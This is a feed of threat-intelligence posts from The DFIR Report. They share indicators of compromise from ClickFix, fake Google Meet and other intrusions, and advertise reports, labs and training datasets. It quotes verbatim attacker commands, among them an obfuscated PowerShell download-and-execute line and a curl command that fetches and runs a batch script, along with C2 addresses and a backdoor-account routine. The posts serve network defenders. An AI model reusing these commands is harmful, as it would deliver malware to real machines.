The DFIR Report

Real Intrusions by Real Attackers, the Truth Behind the Intrusion

[The DFIR Report @TheDFIRReport]

New logo. New website. Same DFIR Report team. 🔎

Check out the incredible analysts behind the research:
https://t.co/Gep8oGeKik

[The DFIR Report @TheDFIRReport]

🔎 Indicators from a ClickFix intrusion we are actively investigating:

NetSupport C2: 93[.]152[.]209[.]36
Gateways: dasiiiitt[.]com:443, piuifoasf[.]com:443

NetSupport launched from:
C:\Users\Public\Pictures\misEN.exE

A user browsed to a compromised domain, was shown a ClickFix lure, and ran a command that used dynamic command construction and ScriptBlock creation to retrieve content from a threat actor controlled domain (vericheckusgo[.]com). The content was executed directly in memory, and NetSupport was ultimately deployed with C2 established.

ClickFix command:
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -NoProfile -c "$z='vericheckusgo[.]com';@(0)|Write-Output|?{$true}|&([char]37){&(([type]'ScriptBlock')::Create($(@(0)|&([char]37){&('Invoke-'+'Rest'+'Method') $z}|&('Select-'+'Object') -first 1)))}"

If you defend a network, hunt your logs for these now.

Seeing the same thing, or have additional context? Get in touch 👉 https://t.co/24f1j6Tun8

[The DFIR Report @TheDFIRReport]

"The remote server request makes it look like it could be a GIF image that is being downloaded. The file is dropped to C:\programdata\ using a filename that looks like a JPEG image."

Read the full report: https://t.co/HnmGmywfnU

#DFIR #ThreatIntel

[The DFIR Report @TheDFIRReport]

🧪 DFIR Labs | A Contagious Interview (Private Case #38413)

Could a fake job interview breach your network? A developer clones a malicious GitHub repo during a hiring assessment, handing a threat actor a foothold. Trace it end to end: Node.js loaders, Python C2, discovery, persistence, exfiltration.

Medium level in Elastic, Splunk, or Azure Sentinel (enterprise).

🔍 Investigate 👉 https://t.co/A0inPPfgSm

[The DFIR Report @TheDFIRReport]

"To further obfuscate its presence, the threat actor initially routed the Cobalt Strike command and control traffic through CloudFlare's CDN service, effectively attempting to hide in plain sight by blending into legitimate web traffic. The 104[.]21[.]76[.]140 and 172[.]67[.]196[.]25 addresses belonged to Cloudflare."

Read the full report: https://t.co/1GFXV9wgXd

#DFIR #ThreatIntel

[The DFIR Report @TheDFIRReport]

💡 Train Your AI on Real Threat-Actor Behavior, Not a Simulation.

AI Training Ground gives you over 100 real intrusions from The DFIR Report, not just initial-access samples, but full operations: lateral movement, credential theft, exfiltration, and impact, with many ending in ransomware.

Authentic ground truth for AI and ML security models.

Learn more 👉 https://t.co/bbxhyIpytn

[The DFIR Report @TheDFIRReport]

🔎 Indicators from a ClickFix intrusion we are actively investigating:

C2: microservice6533[.]com (fronted by Cloudflare)

Payload launched from the user's Themes folder:
"C:\Users\<user>\Themes\TRegSvr.exe" -q "C:\Users\<user>\Themes\vclimg370.bpl"
SHA256 (vclimg370.bpl): 9c71d88a1a73373cc10cd622c9d37d9b71cee6d521cd40a07ca1e7507acfed27

A user browsed to a compromised site, was shown a ClickFix lure, and ran a command that used wildcard obfuscation to launch a command shell, download a batch script (z.cmd) from a threat actor controlled domain, and execute it.

ClickFix command:
"C:\Windows\system32\cmd.exe" /c "for %%x in (co*t.exe) do start "" %%x --headless cmd /c cd/dC:\Users\<user>^&curl -foz.cmd hxxps://webbit6551[.]com/ue/s/JSdmatqR^&z.cmd"

If you defend a network, hunt your logs for these now.

Seeing the same thing, or have additional context? Get in touch 👉 https://t.co/24f1j6Tun8

[The DFIR Report @TheDFIRReport]

"In addition to the file, a new scheduled task named ‘InfrSiRfucture Technologies’ was created. This task was then invoked to run the new Javascript file."

Read the full report: https://t.co/eUGa21iosY

#DFIR #ThreatIntel

[The DFIR Report @TheDFIRReport]

🔒 Go beyond high-level threat summaries.

Our Private DFIR Reports are context-rich, ground-truth investigations from real intrusions, evidence-based chronologies with exact timestamps, plus unredacted command lines, process trees, and registry keys, delivered while the tradecraft is still current.

Immediately operational for detection engineering, IR, and AI/ML training.

Learn more 👉 https://t.co/AdqyUWzmRu

[The DFIR Report @TheDFIRReport]

"The purpose of the u1.bat file was to create a new user account named 'noname' with the password 'Slepoy_123', then use WMIC to find an administrators group, use net.exe (which calls net1.exe) to add the user to the admin group, then use WMIC to set the user's password to never expire."

Read the full report: https://t.co/vz95RMciAf

#DFIR #ThreatIntel

[The DFIR Report @TheDFIRReport]

🧬 Real adversary data, not synthetic samples.

DFIR Case Artifacts are the actual forensic evidence from real DFIR Report investigations, host and network data, memory, and logs, captured from real threat-actor activity. No lab-generated noise, no simulated attacks.

Train analysts, validate tools, and build detections on ground truth.

Learn more 👉 https://t.co/eImL302FGb

[The DFIR Report @TheDFIRReport]

🔎 Indicators from a case we are actively investigating:

C2: 189[.]12[.]226[.]77:8443 (cheapmovies[.]sbs)

Spoofed Google Meet installer:
C:\Program Files\Google Meet\Agent\GoogleMeet.exe
SHA256: b0d8467f2f2ed6a104e45b828b8f3c9637f8cd73a66166c3441aefb336906e95

A user was lured to a fake Google Meet page (224meetgooglecomfskqcdzfcwh[.]com), told their version was no longer supported, and downloaded Google-Meet-0.1.76-x64.msi.

If you defend a network, hunt your logs for these now.

Seeing the same thing, or have additional context? Get in touch 👉 https://t.co/wOAr6VcekX

[The DFIR Report @TheDFIRReport]

🔒 Private DFIR Report: Stealthy ShadowPad Compromises Domain from Employment LNK

“The .lnk file functioned as a container for its own second-stage payload. When executed, the shortcut ran a PowerShell command that opened Employment_Verification_Details.lnk, read the file's raw bytes as ASCII, extracted the contents of the file between the ---PS1--- and ---END--- delimiters, and passed the embedded script content to iex for execution through a second PowerShell command.”

Request access or a demo 👉 https://t.co/1Tr8byJozH

[The DFIR Report @TheDFIRReport]

🧩 One real intrusion. Your whole team, working it together.

Run a private DFIR Labs Digital Forensics Challenge as a team and practice the way you play. Train your team for live intrusions by working a real case together, fully hands-on in Splunk, Elastic, or Azure Sentinel, or as a technical tabletop.

Investigate real threat-actor activity across 20+ questions.

Get more info or schedule a private digital forensics challenge for your organization 👉 https://t.co/U3SxYgWyE3

[The DFIR Report @TheDFIRReport]

"The workflow appeared capable of scanning millions of internet-facing targets, with logs indicating more than 900 confirmed compromises."

Read the full report: https://t.co/5cchqqvriL

#DFIR #ThreatIntel

[The DFIR Report @TheDFIRReport]

"Approximately five hours after this initial execution, Bumblebee deployed an AdaptixC2 beacon (AdgNsy.exe), which established a new C2 channel to 172.96.137[.]160:443. The threat actor then initiated internal reconnaissance using built-in Windows utilities, including systeminfo, nltest /dclist:, whoami /groups, and net group domain admins /dom."

Read the full report: https://t.co/pesx4EJMsx

#DFIR #ThreatIntel

[The DFIR Report @TheDFIRReport]

👤 Analyst Spotlight: Jake Ouellette

8+ years in security spanning detection engineering, incident response, and compliance. Has experience leading security teams and enjoys solving challenges at scale. Has a soft spot for the small to midsize business and MSP world. Enjoys rock climbing and mountain biking.

Explore their work on The DFIR Report: https://t.co/HzA1xXFX1y

[The DFIR Report @TheDFIRReport]

"Despite the port number, this traffic was in fact SFTP traffic being used to transfer the data."

Read the full report: https://t.co/Mtfpf7mGnO

#DFIR #ThreatIntel

[The DFIR Report @TheDFIRReport]

🤖 100+ AI/ML training sets, built from years of real DFIR cases.

AI Training Ground gives you over 100 fully documented intrusions from The DFIR Report, system and network logs, memory, malware, and IOCs, capturing real threat-actor behavior end to end: initial access, lateral movement, credential theft, exfiltration, and impact.

The ground truth you need to train and validate your AI and ML security models.

Learn more 👉 https://t.co/8snH2IwIOH

[The DFIR Report @TheDFIRReport]

🛠️ Tool Tuesday: AnyDesk

Legitimate remote-support software, and a common attacker backdoor. We repeatedly see AnyDesk silently installed as a service for persistent hands-on-keyboard access.

🔎 Hunt tip: alert on unattended AnyDesk installs, service creation, and connections from unfamiliar AnyDesk IDs.

See it across real intrusions 👉 https://t.co/lzi7Rdh8bb

[The DFIR Report @TheDFIRReport]

"All of the newly created accounts have usernames that mimic legitimate accounts already present in the environment. For the rest of the report we will refer to these accounts as: 'administratr', 'Lookalike 1', and 'Lookalike 2'."

Read the full report: https://t.co/sUKa7Xpyci

#DFIR #ThreatIntel